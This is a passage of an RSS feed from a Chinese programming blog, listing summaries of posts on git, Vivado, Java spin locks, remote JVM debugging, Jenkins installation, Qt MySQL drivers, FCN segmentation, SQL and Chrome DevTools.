      <link>https://bchobby.github.io/posts/cfbc50fd60345ac424b512950f4889b9/</link>
      <pubDate>Wed, 27 Jul 2022 11:24:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cfbc50fd60345ac424b512950f4889b9/</guid>
      <description>git log查看提交的Author是由谁决定的呢？ ##背景&#xA;最近给某个开发人员aa开通了gitlab账号，账号是aa，邮箱是aa@qq.com，但是通过git log命令查看aa开发人员的提交记录时，Author确显示的是bb，邮箱是bb@qq.com，那么这个Authon到底是由谁决定的呢？&#xA;一、本地仓库 ##查看&#xA;$ git log 查看 Author中的名字是由本机中设置的 user.name和 user.email决定的，可通过 git config --list&#xA;查看&#xA;二、远程仓库（gitlab仓库） 三、总结 1、本地仓库 git log 查看到的Author 就是本地的 user.name&#xA;2、远程仓管(gitlab仓库) 查看到的Author 就是gitlab里面开的用户名，也就是你的公钥提交在哪个账户下就是哪个Author&#xA;好了，这就是git log查看提交的作者是由谁决定的方法了，如有问题可与博主一起交流讨论！</description>
    </item>
    <item>
      <title>vivado中的PACKAGE_PIN与BOARD_PIN</title>
      <link>https://bchobby.github.io/posts/527f97563c03aadbc60c249ac4d5a359/</link>
      <pubDate>Wed, 27 Jul 2022 11:04:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/527f97563c03aadbc60c249ac4d5a359/</guid>
      <description>vivado中的PACKAGE_PIN与BOARD_PIN 在阅读xilinx设计示例时，常常在部分IP约束中看到采用BOARD_PIN的形式分配管脚，该方法与常见的PACKAGE_PIN分配管脚区别如下。&#xA;针对新建工程时通过选择评估板来确定芯片的工程，例如采用KCU105，VCU118等评估板的特定工程，vivado开发工具内置了对应管脚的名称，可以通过BOARD_PIN的方式来约束管脚，且通过该方式可以省略对管脚电平标准的约束。&#xA;需要注意的是，该类约束方法只针对特定的评估板，且需要在对应的原理图中找到相应的特定名称，容易出错，若能够确定管脚位置，还是推荐使用PACKAGE_PIN的形式。&#xA;例子：&#xA;set_property PACKAGE_PIN {AP8} [get_ports {led[0]}] set_property IOSTANDARD {LVCMOS18} [get_ports {led[0]}] set_property BOARD_PIN {CPU_RESET} [get_ports {rst}] 参考链接：Xilinx社区关于BOARD_PIN的解释</description>
    </item>
    <item>
      <title>Java并发编程--自旋锁的实现和使用</title>
      <link>https://bchobby.github.io/posts/61bbe64b1409e93d26692521929edc27/</link>
      <pubDate>Wed, 27 Jul 2022 10:40:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61bbe64b1409e93d26692521929edc27/</guid>
      <description>1.自旋锁介绍 自旋锁是这样一类锁：当线程等待加锁时，不会阻塞，不会进入等待状态，而是保持运行状态。大致的思路是：让当前线程不停地的在循环体内执行，当循环的条件被其他线程改变时才能进入临界区。&#xA;2.自旋锁实现方式 一种实现方式是通过CAS原子操作：设置一个CAS原子共享变量，为该变量设置一个初始化的值；加锁时获取该变量的值和初始化值比较，若相等则加锁成功，让后把该值设置成另外一个值；若不相等，则进入循环（自旋过程），不停的比较该值，直到和初始化值相加锁成功。&#xA;3.自旋锁的优势 （1）性能较高：自旋锁不会使线程状态切换，始终处于用户态，即线程始终处于活动状态，不会让线程进入阻塞状态，减少不必要的上下文切换，性能较高；&#xA;（2）避免死锁：自旋锁不会让线程阻塞或等待，也就不需要唤醒，所以可以避免产生死锁；&#xA;4.自旋锁的缺点 （1）在等待锁时进入循环会占用CPU，若等待的线程很多，对CPU的消耗会比较大；&#xA;（2）不适合需要长时间等待的任务或线程；&#xA;（3）不适合大量线程等待的场景。&#xA;5.自旋锁的使用场景 （1）等待时间比较短的任务中；&#xA;（2）线程数量不太多的应用中；&#xA;（3）当等待时间长或线程数量很大时，可以使用其他锁（比如：可重入锁）。&#xA;6.自旋锁和互斥锁 （1）自旋锁和互斥锁都是保护资源共享的机制；&#xA;（2）无论是自旋锁还是互斥锁，任何时候最多只能有一个持有者；&#xA;（3）如果锁已被占用，则获取互斥锁的线程将进入阻塞状态；获取自旋锁的线程不会阻塞。&#xA;7.自旋锁的实现 使用AtomicReference变量的CAS机制来实现自旋锁。由于AtomicReference变量能够保证多个线程同时对其读写时的原子性（这种原子性是通过sun.misc.unsafe包来实现的，后面会专门介绍），所以，可以使用这种类型 的共享变量作为判断条件。&#xA;public class SpinLock { // 定义一个原子引用变量 private AtomicReference&amp;lt;Thread&amp;gt; sign = new AtomicReference&amp;lt;&amp;gt;(); public void lock(){ Thread current = Thread.currentThread(); // 加锁时：若sign为null，则设置为current；若sihn不为空，则进入循环，自旋等待； while(!sign.compareAndSet(null, current)){ // 自旋：Do Nothing！！ } } public void unlock (){ Thread current = Thread.currentThread(); // 解锁时：sign的值一定为current，所以直接把sign设置为null。 // 这样其他线程就可以拿到锁了（跳出循环）。 sign.compareAndSet(current, null); } } 注意：这种自旋锁的实现方式是不可重入的。也就是说：若一个已经加锁成功的线程再次获取该锁时，会失败。那么如何实现一个可重入的自旋锁呢？其实就是比较目前的线程引用是否和锁中记录的线程引用相等，若相等加锁成功。可重入自旋锁会在下面章节进行分析。&#xA;8.可重入自旋锁 当一个使用自旋锁加锁成功的线程，再次尝试加锁时可以加锁成功（可重入）。</description>
    </item>
    <item>
      <title>远程调试 idea配置remote debug、在远程服务器的程序中，添加JVM启动参数-Xdebug</title>
      <link>https://bchobby.github.io/posts/cf0aa15ba5e34eff6e824eddef713c93/</link>
      <pubDate>Wed, 27 Jul 2022 07:16:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf0aa15ba5e34eff6e824eddef713c93/</guid>
      <description>文章目录 前言1. idea配置remote debug1.1 在服务器的程序中，添加JVM启动参数1.2 idea连接远程服务器，进行远程调试 2. 远程调试原理 前言 在本地开发的程序运行在服务器上报错且缺少日志信息甚至没有错误日志时，需要通过远程调试来调试服务器上的程序&#xA;1. idea配置remote debug 1.1 在服务器的程序中，添加JVM启动参数 在启动程序的脚本中，即java -jar命令后，添加支持远程调试的参数(默认选择5005端口，为避免端口冲突，可选用其他不常用端口)&#xA;-Xdebug -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=n 参数含义：&#xA;-XDebug 启用远程调试 -Xrunjdwp 加载JDWP的JPDA参考执行实例 transport 用于在调试程序和VM使用的进程之间通讯 dt_socket socket传输 server=y/n VM是否需要作为调试服务器执行 address=5005 调试服务器监听的端口号 suspend=y/n 是否在调试客户端建立连接之后启动VM 如：&#xA;1.2 idea连接远程服务器，进行远程调试 点击Add Configuration后选择Remote&#xA;设置远程服务器的Ip和远程调试的端口&#xA;在本地代码中添加断点后，即可调试远程服务器上代码&#xA;注：&#xA;若远程服务器和本地之间防火墙未打开，则无法进行远程调试，可通过telnet ip 端口命令测试通信&#xA;2. 远程调试原理 Java程序统一以字节码的形式在JVM中运行，只要本地代码和远程服务器上的类文件相同，两个JVM通过调试协议进行通信，本地的源码就可以连接到远程服务器上的JVM，进而执行远程调试</description>
    </item>
    <item>
      <title>关于el-select自动校验的问题</title>
      <link>https://bchobby.github.io/posts/926c269938dab2c43f7e29ee2e31d187/</link>
      <pubDate>Wed, 27 Jul 2022 00:11:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/926c269938dab2c43f7e29ee2e31d187/</guid>
      <description>近期在做项目的时候用到了选择框，并且还需要校验选择框的值。但是出现了一个问题就是：首次加载页面或者刷新页面会触发select选择框校验（select一般设置change触发校验）。&#xA;解决：&#xA;检查为select中v-model的初始值（null或undefine或者空字符串啥的）是否与接口获取的值为空时对其赋值一致，这种情况常常是接口数据为空，给其从新赋值与初始值不一致造成的。&#xA;例子：&#xA;v-model绑定的变量为a&#xA;let a = “” ; // a的初始值&#xA;此时我获取接口数据，但是a的值为null（此变量记为b吧），如果直接将b的值给a就会报错，这时候应该使两个初始值保持一致，要么改a的初始值，要么处理一下接口的空值</description>
    </item>
    <item>
      <title>~/.bash_profile(mac环境下)配置环境变量失效的解决方案</title>
      <link>https://bchobby.github.io/posts/5e316e2651bf5b951cbc70c8036201fe/</link>
      <pubDate>Tue, 26 Jul 2022 22:32:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e316e2651bf5b951cbc70c8036201fe/</guid>
      <description> 1、分析问题 当我们在 ~/.bash_profile 中配置环境变量, 但每次在IDE或者终端，重新开启新的窗口或者重启终端后，配置的环境变量都不生效了，还需要重新执行以下命令才会重新生效: source ~/.bash_profile 2、分析原因 1、我们是在bash中配置的环境变量，而当前系统是使用的是shell。&#xA;2、查看当前使用的shell：&#xA;1、终端输入：echo $SHELL 2、输出是/bin/zsh，说明使用的是zsh 3、解决方案 .zshrc文件加中添加source ~/.bash_profile cd ~ ls -a sudo vim .zshrc i编辑 source ~/.bash_profile :wq 具体步骤：&#xA;1、进入主目录 cd ~&#xA;2、显示隐藏文件，找到.zshrc文件夹 ls -a（如果没有可以只直接创建）&#xA;3、编辑文件 sudo vim .zshrc&#xA;4、按i进入编辑模式，加入source ~/.bash_profile后，esc&#xA;5、:wq保存退出&#xA;希望对大家有所帮助，希望和大家一起成长，进步。 </description>
    </item>
    <item>
      <title>解决UnicodeDecodeError: ‘utf-8‘ codec can‘t decode byte 0xb1 in position 376: invalid start byte</title>
      <link>https://bchobby.github.io/posts/1769bcaa07ce71445b18fb28c949c2cd/</link>
      <pubDate>Tue, 26 Jul 2022 20:25:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1769bcaa07ce71445b18fb28c949c2cd/</guid>
      <description> python 读取数据出现UnicodeDecodeError: &#39;utf-8&#39; codec can&#39;t decode byte 0xb1 in position 376: invalid start byte 该情况是由于出现了无法进行转换的 二进制数据造成的，&#xA;in_file = open(os.path.join(VOCdevkit_path, &#39;VOC%s/Annotations/%s.xml&#39;%(year, image_id)), encoding=&#39;utf-8&#39;) in_file = open(os.path.join(VOCdevkit_path, &#39;VOC%s/Annotations/%s.xml&#39;%(year, image_id)), encoding=&#39;gb2312&#39;) 修改字符集参数，一般这种情况出现得较多是在国标码(GBK)和utf8之间选择出现了问题。出现异常报错是由于设置了decode()方法的第二个参数errors为严格（strict）形式造成的，因为默认就是这个参数，将其更改为ignore等即可。 </description>
    </item>
    <item>
      <title>Ganet车道线检测小数据训练模型的多场景测试demo(测试集)，山城重庆的高速路、快速路测试</title>
      <link>https://bchobby.github.io/posts/317a4bf3cd0adf2e56e15980b6f0aca4/</link>
      <pubDate>Tue, 26 Jul 2022 19:47:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/317a4bf3cd0adf2e56e15980b6f0aca4/</guid>
      <description>Ganet车道线检测小数据训练模型的多场景测试demo(测试集)，山城重庆的高速路、快速路测试&#xA;车道线检测小数据训练模型的多场景测试demo(测试集)，山城重庆的高速路、快速路测试&#xA;视频链接：https://www.bilibili.com/video/BV1vS4y1E7yU?spm_id_from=333.337.search-card.all.click&amp;amp;vd_source=7b48517996bf2f4992321feee888517d&#xA;车道线检测在3000张小数据训练模型的多场景测试demo，测试集的结果，山城重庆的高速路、快速路测试。欢迎也在做车道线检测的同行朋友一起讨论交流。&#xA;算法出处：A Keypoint-based Global Association Network for Lane Detection（CVPR2022），做了相应的改进。&#xA;欢迎对车道线检测、车位检测、目标跟踪、目标检测、目标分类、语义分割、深度估计等计算机视觉任务及自动驾驶技术（感知、融合、规控、预测、定位、建图、传感器、嵌入式移植、测试、产品等）感兴趣的朋友、同行，加入技术交流群4群，一起学习，一起玩！&#xA;推荐阅读：&#xA;车道线检测2022新工作整理，2D、3D都有</description>
    </item>
    <item>
      <title>Cannot find module ‘core-js/core/object‘</title>
      <link>https://bchobby.github.io/posts/a5ca7d5f9064a20accf942ec046e6007/</link>
      <pubDate>Tue, 26 Jul 2022 19:37:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5ca7d5f9064a20accf942ec046e6007/</guid>
      <description>原因： core-js版本问题&#xA;解决方案 换个版本，直接安装&#xA;npm install core-js@2</description>
    </item>
    <item>
      <title>Jenkins系列——jenkins 的安装</title>
      <link>https://bchobby.github.io/posts/e62c5070c23bdabdb22ae04e27d61274/</link>
      <pubDate>Tue, 26 Jul 2022 15:32:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e62c5070c23bdabdb22ae04e27d61274/</guid>
      <description>JenKins 是一个开源的、提供友好操作界面的持续集成（CI）工具，起源于 Hudson（Hudson是商用的），主要用于持续、自动地构建/测试软件项目、监控外部任务的运行。&#xA;JenKins 用 java 语言编写，可在 Tomcat 等流行的 servlet 容器中运行，也可独立运行。通常与与版本管理工具（SCM）、构建工具结合使用。常用的版本控制工具有 SVN、GIT，构建工具有 Maven、Ant、Gradle。&#xA;jenkins 官方网址为：https://www.jenkins.io/‘’&#xA;一、安装 java 因为 jenkins 用 java 语言编写，需要先安装 jdk 环境。&#xA;运行以下命令安装 jdk8&#xA;yum install java-1.8.0-openjdk 二、安装 jenkins 1、官方提供的安装步骤进行安装，根据自身实际情况，选择对于的安装包，本次安装环境为 centos，选择 CentOS/Fedora/Red Hat；&#xA;根据提供的指令进行安装&#xA;将 jenkins.repo 源文件添加到 yum 库中：&#xA;wget -O /etc/yum.repos.d/jenkins.repo https://pkg.jenkins.io/redhat-stable/jenkins.repo 导入jenkins公钥：&#xA;rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.io.key 通过 yum 安装 jenkins：&#xA;yum install jenkins 2、下载 rpm 包安装&#xA;jenkins rpm包地址为：https://get.jenkins.io 根据自己机器的情况，选择合适的 rpm，LTS为长期稳定版，获取到地址。&#xA;通过 wget 获取到 rpm：&#xA;wget https://get.jenkins.io/redhat-stable/jenkins-2.289.1-1.1.noarch.rpm 解压：</description>
    </item>
    <item>
      <title>Qt编译mysql驱动-总结</title>
      <link>https://bchobby.github.io/posts/9c630fc6699551958708e124c160d2ab/</link>
      <pubDate>Tue, 26 Jul 2022 12:48:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c630fc6699551958708e124c160d2ab/</guid>
      <description>文章目录 前言通过qt编译MySQL驱动打开mysql.pro文件修改pro文件编译驱动测试效果 VS编译mysql驱动可能出现的问题解决方法问题一 如果你出现了error MSB8036: The Windows SDK version xxx was not found问题或者报了一大堆的无法打开包文件等等的错误，出现无法定位程序输入点，找不到某个库 前言 由于本人下载的是qt5.14.2的版本，近期项目需要用到mysql，但是qt5.12.3是最后提供mysql数据库插件的版本，以后都需要自己编译对应的mysql数据库插件。让我重新下载qt显然不可能，这也就导致我接下来痛苦n天。若有怕麻烦的小伙伴也可以自己下载以前的qt版本，可以不用看下文了。&#xA;通过qt编译MySQL驱动 打开mysql.pro文件 如果你在下载qt时已经选择了下载源码，那么恭喜你可以直接打开mysql对应的.pro文件进行编译。如果你在下载qt时没有下载源码也不用担心，链接: qt下载然后选择与你自己qt版本相对于的源码打开解压后即可找到mysql的源码。&#xA;这里的E:\QT是你自己安装的路径，只要后面的路径一样就好。你第一次打开应该只有阴影部分的文件，然后打开.pro文件就可以进入qt。 - 如果你此时直接选择mingw套件进行构建，那么将会给你报好多错误，解决这些问题我们需要对pro文件进行如下修改 - 修改pro文件 1.如果不注释第六行，编译的时候就会出现一个错误“mysql is not defined”&#xA;2.添加mysql的include文件夹，和第11行引用mysql安装路径lib的libmysql.lib静态库&#xA;3.第12行将我们生成的MYSQL驱动库放入指定位置&#xA;编译驱动 因为qt中用msvc需要进行一些配置，所以我先以qt默认的mingw来生成驱动&#xA;做完这些修改后，就可以重新用mingw进行构建（注意数据库的版本位数要和编译器（构建套件kit）的版本位数一致），可以使用mysql -V命令查看自己的数据库位数。我这里因为是64为因此我选择的是mingw64位的编译器.。&#xA;编译成功后，你就会在程序运行目录的上一级目录下发现生成三个文件夹（有些可能是在该盘符下的根目录，比如我这里有可能是在E:\），&#xA;然后我们打开plugins这个文件夹将下图两个文件拷贝到你的相应的构建套件的sqldrivers目录下，网上有些说会生成qsqlmysql.dll和qsqlmysqld.dll将这两个拷贝到aqldrivers目录下。，但我这里没生成qsqlmysqld.dll，如果你和我一样，拷贝这两个也可以。&#xA;在你的mysql安装路径找到mysql的libmysql.dll和libmysql.lib拷贝到相应的编译套件的bin目录下。&#xA;测试效果 新建一个qt项目，记得勾选sql模块，我这里继承的是QMainWindow，这个不重要继承什么窗口类都不重要，你也可以继承QWidget等，然后将main.cpp修改如下 #include &#34;mainwindow.h&#34; #include &amp;lt;QApplication&amp;gt; #include &amp;lt;QSqlDatabase&amp;gt; #include&amp;lt;qmessagebox.h&amp;gt; int main(int argc, char *argv[]) { QApplication a(argc, argv); // MainWindow w; // w.show(); QSqlDatabase db = QSqlDatabase::addDatabase(&#34;QMYSQL&#34;); db.setDatabaseName(&#34;school&#34;);//数据库名 db.setHostName(&#34;127.0.0.1&#34;);//主机名 db.setUserName(&#34;root&#34;);//用户名 db.setPassword(&#34;xxxxxxxx&#34;);//密码 db.setPort(3306);//端口号 if (db.</description>
    </item>
    <item>
      <title>FCN图像分割【飞桨】class2(附代码和注释）</title>
      <link>https://bchobby.github.io/posts/c24523f0b5fa05e4f2fd1ff1f83e5bad/</link>
      <pubDate>Tue, 26 Jul 2022 11:30:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c24523f0b5fa05e4f2fd1ff1f83e5bad/</guid>
      <description>FCN 全卷积网络 上图是一个FCN-32s网络的结构图。在这个网络中，图片经过骨干网络（VGG Network）提取特征后，得到长宽缩小32倍的特征图，随后直接将特征图上采样32倍，得到和输入图片一样大小的分割图。&#xA;是不是特别简单直接。别看这个网络设计的这么简单，但确实可以得到分割图。&#xA;当然，因为是直接将特征图上采样32倍，这种方式得到的分割精度不会很高。&#xA;为了提高分割精度，作者还提出将骨干网络的中间层提取出来，与上述分割结果融合，得到最终的输出结果。这样就可以得到FCN-16s, FCN-8s, FCN-4s以及FCN-2s网络。&#xA;上图展示的是FCN-8s网络，该网络将Pool3和Pool4的输出取出，与FCN-32s的输出结果融合，得到最终的分割图。具体的融合方式见下图：&#xA;首先将FC7（FCN-32s的输出）上采样2倍，与Pool4输出结果相加，得到与Pool4融合的特征图。随后将这个特征图再上采样2倍，与Pool3层的结果相加，得到融合了Pool4、Pool3信息的特征图。再将这个特征图上采样8倍，经过一个softmax层，就得到了与输入图片一样大小的分割图。因为最终上采样8倍，所以称为FCN-8s。&#xA;import numpy as np import paddle.fluid as fluid from paddle.fluid.dygraph import to_variable from paddle.fluid.dygraph import Conv2D from paddle.fluid.dygraph import Conv2DTranspose from paddle.fluid.dygraph import Dropout from paddle.fluid.dygraph import BatchNorm from paddle.fluid.dygraph import Pool2D from paddle.fluid.dygraph import Linear from vgg import VGG16BN class FCN8s(fluid.dygraph.Layer):#本质上是复杂的basic_model def __init__(self, num_classes=59): super(FCN8s, self).__init__()#初始化父类 backbone=VGG16BN(pretrained=False)#选择vgg作为backbone #backbone指的是网络的主干网络，对图像进行特征提取（常见的有vggnet，resnet，谷歌的inception），这一部分是整个CV任务的根基 self.layer1=backbone.layer1#直接从vgg中拿就好了 self.layer1[0].conv._padding=[100,100] self.pool1=Pool2D(pool_size=2,pool_stride=2,ceil_mode=True)#ceil_mode我们应对不同尺寸的输入时取整等操作 self.layer2=backbone.layer2 self.pool2=Pool2D(pool_size=2,pool_stride=2,ceil_mode=True) self.layer3=backbone.layer3 self.pool3=Pool2D(pool_size=2,pool_stride=2,ceil_mode=True) self.layer4=backbone.layer4 self.pool4=Pool2D(pool_size=2,pool_stride=2,ceil_mode=True) self.</description>
    </item>
    <item>
      <title>因果推断-重要概念：ATE/CATE/ITE/ATT</title>
      <link>https://bchobby.github.io/posts/83422ec8f44b6a594002f1de8d939c83/</link>
      <pubDate>Tue, 26 Jul 2022 10:53:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/83422ec8f44b6a594002f1de8d939c83/</guid>
      <description>开个专栏记录一下数据分析中因果推断的知识点，这篇会先引入一些因果推断中的重要概念。&#xA;ATE：Average Treatment Effect，平均处理效应。实验组的平均处理效应。比如实验组上线了新的推荐策略，实验组与对照组之间平均效果的差别就是ATE。&#xA;CATE：Conditional Average Treatment Effect，条件平均处理效应。实验组中某个细分群的平均处理效应。比如实验组的活跃用户与对照组活跃用户平均效果的差别就是CATE。&#xA;ITE：Individual Treatment Effect，个体处理效应。实验组中每个个体的处理效应差异。&#xA;ATT：Average Treatment Effects on Treated，受处理群体的平均处理效应。比如实验组受处理的这群人如果不受处理，会是怎样的（这群人受处理与不受处理之间效果的差异）。但是对照组中不存在与实验组中一模一样的人，一般通过PSM来找到实验组人群的替身。</description>
    </item>
    <item>
      <title>SQL专题-between and的边界问题</title>
      <link>https://bchobby.github.io/posts/315258f64ac736cefd6cd5c2734f86a2/</link>
      <pubDate>Tue, 26 Jul 2022 09:53:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/315258f64ac736cefd6cd5c2734f86a2/</guid>
      <description>between and是否包含边界不可一概而论，要根据限制变量的格式而定&#xA;笔者之前认为between and语法是包含边界的，语句select * from tmp where worktime between 2021-04-06 and 2021-04-09取出来的数据应该是包含06/07/08/09四天，注意这时worktime是精确到天的，例如2021-04-09。&#xA;然而近期在取数据时发现between and并不总是包含边界的，具体是否包含边界与变量的格式有关。语句select * from tmp where worktime between 2021-04-06 and 2021-04-09取出来的数据也有可能只包含06/07/08三天的，因为worktime的格式是精确到秒的，比如2021-04-09 14:52:27就没有包含在条件内。所以between and是否包含边界不可一概而论，要根据限制变量的格式而定。</description>
    </item>
    <item>
      <title>谷歌浏览器调试工具使用基础版（一）</title>
      <link>https://bchobby.github.io/posts/0e9cddc1557c9cf3f59429b6079a69f4/</link>
      <pubDate>Tue, 26 Jul 2022 00:41:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e9cddc1557c9cf3f59429b6079a69f4/</guid>
      <description>知识采集出处 一. 先来认识一下这些按钮 先来看这张图最上头的一行是一个功能菜单，每一个菜单都有它相应的功能和使用方法，依次从左往右来看&#xA;1.箭头按钮：用于在页面选择一个元素来审查和查看它的相关信息，当我们在Elements这个按钮页面下点击某个Dom元素时，箭头按钮会变成选择状态&#xA;2.设备图标：点击它可以切换到不同的终端进行开发模式，移动端和pc端的一个切换，可以选择不同的移动终端设备，同时可以选择不同的尺寸比例，chrome浏览器的模拟移动设备和真实的设备相差不大，是非常好的选择&#xA;可选择的适配&#xA;3.Elements 功能标签页：用来查看，修改页面上的元素，包括DOM标签，以及css样式的查看，修改，还有相关盒模型的图形信息，下图我们可以看到当我鼠标选择id 为lg_tar的div元素时，右侧的css样式对应的会展示出此id 的样式信息，此时可以在右侧进行一个修改，修改即可在页面上生效， 灰色的element.style样式同样可以进行添加和书写，唯一的区别是，在这里添加的样式是添加到了该元素内部，实现方式即：该div元素的style属性，这个页面的功能很强大，在我们做了相关的页面后，修改样式是一块很重要的工作，细微的差距都需要调整，但是不可能说做到每修改一点即编译一遍代码，再刷新浏览器查看效果，这样很低效，一次性在浏览器中修改之后，再到代码中进行修改&#xA;对应的样式 盒模型信息 同时，当我们浏览网站看到某些特别炫酷的效果和难做的样式时候，打开这个功能，我们即可看到别人是如何实现的，学会它这知识就是你的了，仔细钻研也会有意想不到的收获&#xA;4.Console控制台：用于打印和输出相关的命令信息，其实console控制台除了我们熟知的报错，打印console.log信息外，还有很多相关的功能，下面简单介绍几个：&#xA;a: 一些对页面数据的指令操作，比如打断点正好执行到获取的数据上，由于数据都是层层嵌套的对象，这个时候查看里面的key/value不是很方便，即可用这个指令开查看，obj的json string 格式的key/value，我们对于数据里面有哪些字段和属性即可一目了然&#xA;其他功能&#xA;b: 除了console.log还有其他相关的指令可用&#xA;console也有相关的API&#xA;5.Sources js资源页面：这个页面内我们可以找到当然浏览器页面中的js 源文件，方便我们查看和调试，在我还没有走出校园时候，我经常看一些大站的js代码，那时候其实基本都看不懂，但是最起码可以看看人家的代码风格，人家的命名方式，所有的代码都是压缩之后的代码，我们可以点击下面的{}大括号按钮将代码转成可读格式&#xA;Sources Panel 的左侧分别是 Sources 和 Content scripts和Snippets&#xA;对应的源代码 格式化后的代码 关于打断点调试的内容，下面介绍，先来说一些，其他平时基本没人用但是很有用的小点，比如当我们想不起某个方法的具体使用时候，会打开控制台随意写一些测试代码，或者想测试一下刚刚写的方法是否会出现期待的样子，但是控制台一打回车本想换行但是却执行刚写的半截代码，所以推荐使用Sources下面的左侧的Sinppets代码片段按钮，这时候点击创建一个新的片段文件，写完测试代码后把鼠标放在新建文件上run，再结合控制台查看相关信息（新建了一个名叫：app.js的片段代码，在你的项目环境页面内，该片段可执行项目内的方法）&#xA;自己书写的片段 Content scripts 是 Chrome 的一种扩展程序，它是按照扩展的ID来组织的，这些文件也是嵌入在页面中的资源，这类文件可以读写和操作我们的资源，需要调试这些扩展文件，则可以在这个目录下打开相关文件调试，但是几乎我们的项目还没有相关的扩展文件，所以啥也看不到，平时也不需要关心这块&#xA;无结果&#xA;6.Network 网络请求标签页：可以看到所有的资源请求，包括网络请求，图片资源，html,css，js文件等请求，可以根据需求筛选请求项，一般多用于网络请求的查看和分析，分析后端接口是否正确传输，获取的数据是否准确，请求头，请求参数的查看&#xA;所有的资源 以上我选择了All，就会把该页面所有资源文件请求下来，如果只选择XHR 异步请求资源，则我们可以分析相关的请求信息&#xA;请求的相关信息 打开一个Ajax异步请求，可以看到它的请求头信息，是一个POST请求，参数有哪些，还可以预览它的返回的结果数据，这些数据的使用和查看有利于我们很好的和后端工程师们联调数据，也方便我们前端更直观的分析数据&#xA;预览请求的数据 7.Timeline标签页可以显示JS执行时间、页面元素渲染时间，不做过多介绍&#xA;8.Profiles标签页可以查看CPU执行时间与内存占用，不做过多介绍&#xA;9.Resources标签页会列出所有的资源，以及HTML5的Database和LocalStore等，你可以对存储的内容编辑和删除 不做过多介绍&#xA;10.Security标签页 可以告诉你这个网站的安全性，查看有效的证书等&#xA;11.Audits标签页 可以帮你分析页面性能，有助于优化前端页面，分析后得到的报告&#xA;分析结果 二.Sources资源页面的断点调试 1.如何调试：&#xA;调试js代码，肯定是我们常用的功能，那么如何打断点，找到要调试的文件，然后在内容源代码左侧的代码标记行处点击即可打上一个断点&#xA;2.断点与 js代码修改&#xA;看下面这张图，我在一个名为toggleTab的方法下打了两个断点，当开始执行我们的点击切换tab行为后，代码会在执行的断点出停下来，并把相关的数据展示一部分，此时可以在已经执行过得代码处，把鼠标放上去，即可查看相关的具体数据信息，同时我们可以使用右侧的功能键进行调试，右侧最上面一排分别是：暂停/继续、单步执行(F10快捷键)、单步跳入此执行块(F11快捷键)、单步跳出此执行块、禁用/启用所有断点。下面是各种具体的功能区&#xA;在代码中打断点 在当前的代码执行区域，在调试中如果发现需要修改的地方，也是可以立即修改的，修改后保存即可生效，这样就免去了再到代码中去书写，再刷新回看了</description>
    </item>
    <item>
      <title>c#简易 完成计算器(2022)</title>
      <link>https://bchobby.github.io/posts/7796409d0d13fc00a2e181c6cd520f9a/</link>
      <pubDate>Tue, 26 Jul 2022 00:04:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7796409d0d13fc00a2e181c6cd520f9a/</guid>
      <description>…这次是优化过的,学习的话,请大家放心使用,如果有任何问题,尽管私聊问我,如果要源文件,私聊发邮箱给我,我看见了就会发给你们,感谢支持,互相学习!谢谢各位&#xA;using System; using System.Drawing; using System.Windows.Forms; namespace Calc { public partial class Form1 : Form { public Form1() { InitializeComponent(); } //变量声明开始 //记录程序第一次1启动 Boolean system_one = false; //判断用过小数点后,是否有输入数字如果没有输入数字就不能使用四则运算符 Boolean dian_number = false; //newValue 用来记录每一次的新值 decimal newValue = 0.0m; //value 是最后的结果 decimal value=0.0m; //fh 是用来记录我们正在使用的符号 String fh; //eco 用来记录 用户摁过多少次等于号, eco = 0 就是还没用过, 如果用过的话 就++ int eco = 0; //oftenValue 用来记录 一直被处理的数字 decimal oftenValue = 0.0m; //record 用来判断使用四则运算符后,是否输入数字,输入了就是true没有就是false Boolean record = true; //numberButton 是用来判断数字键是否使用过,numberButton = false 就是没用过 等于 numberButton =true 就是使用过; Boolean numberButton = false; //符号的次数 false就按原来的样式 true就是其他样式 Boolean numberOfSymbols = false; //用来装记忆的盒子 decimal memory = 0.</description>
    </item>
    <item>
      <title>关于OpenFeign的源码分析</title>
      <link>https://bchobby.github.io/posts/db9ed89c386ccb006dfbd0265fe002e1/</link>
      <pubDate>Mon, 25 Jul 2022 22:42:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db9ed89c386ccb006dfbd0265fe002e1/</guid>
      <description>核心流程图 首先是初始化流程 当我们在使用的时候首先启用Feign，即 启动类中添加注解@EnableFeignClients&#xA;@EnableFeignClients public class GatewayApplication { public static void main(String[] args) { SpringApplication.run(GatewayApplication.class, args); } } 进入@EnableFeignClients注解类中&#xA;@Import(FeignClientsRegistrar.class) public @interface EnableFeignClients { } 关于@Import的使用可以查看@Import注解了解，此处加载FeignClientsRegistrar类，我们可以继续进入该类中&#xA;class FeignClientsRegistrar implements ImportBeanDefinitionRegistrar, ResourceLoaderAware, EnvironmentAware { } FeignClientsRegistrar有多个接口实现，ImportBeanDefinitionRegistrar用于自定义实现Bean定义信息、ResourceLoaderAware、EnvironmentAware&#xA;我们重点看下ImportBeanDefinitionRegistrar的接口方法registerBeanDefinitions的实现&#xA;@Override public void registerBeanDefinitions(AnnotationMetadata metadata, BeanDefinitionRegistry registry) { registerDefaultConfiguration(metadata, registry); registerFeignClients(metadata, registry); } 其中registerDefaultConfiguration(metadata, registry);方法主要是获取@EnableFeignClients注解参数defaultConfiguration的值…&#xA;我们重点看下registerFeignClients(metadata, registry);&#xA;public void registerFeignClients(AnnotationMetadata metadata, BeanDefinitionRegistry registry) { LinkedHashSet&amp;lt;BeanDefinition&amp;gt; candidateComponents = new LinkedHashSet&amp;lt;&amp;gt;(); //获取注解中的属性信息 Map&amp;lt;String, Object&amp;gt; attrs = 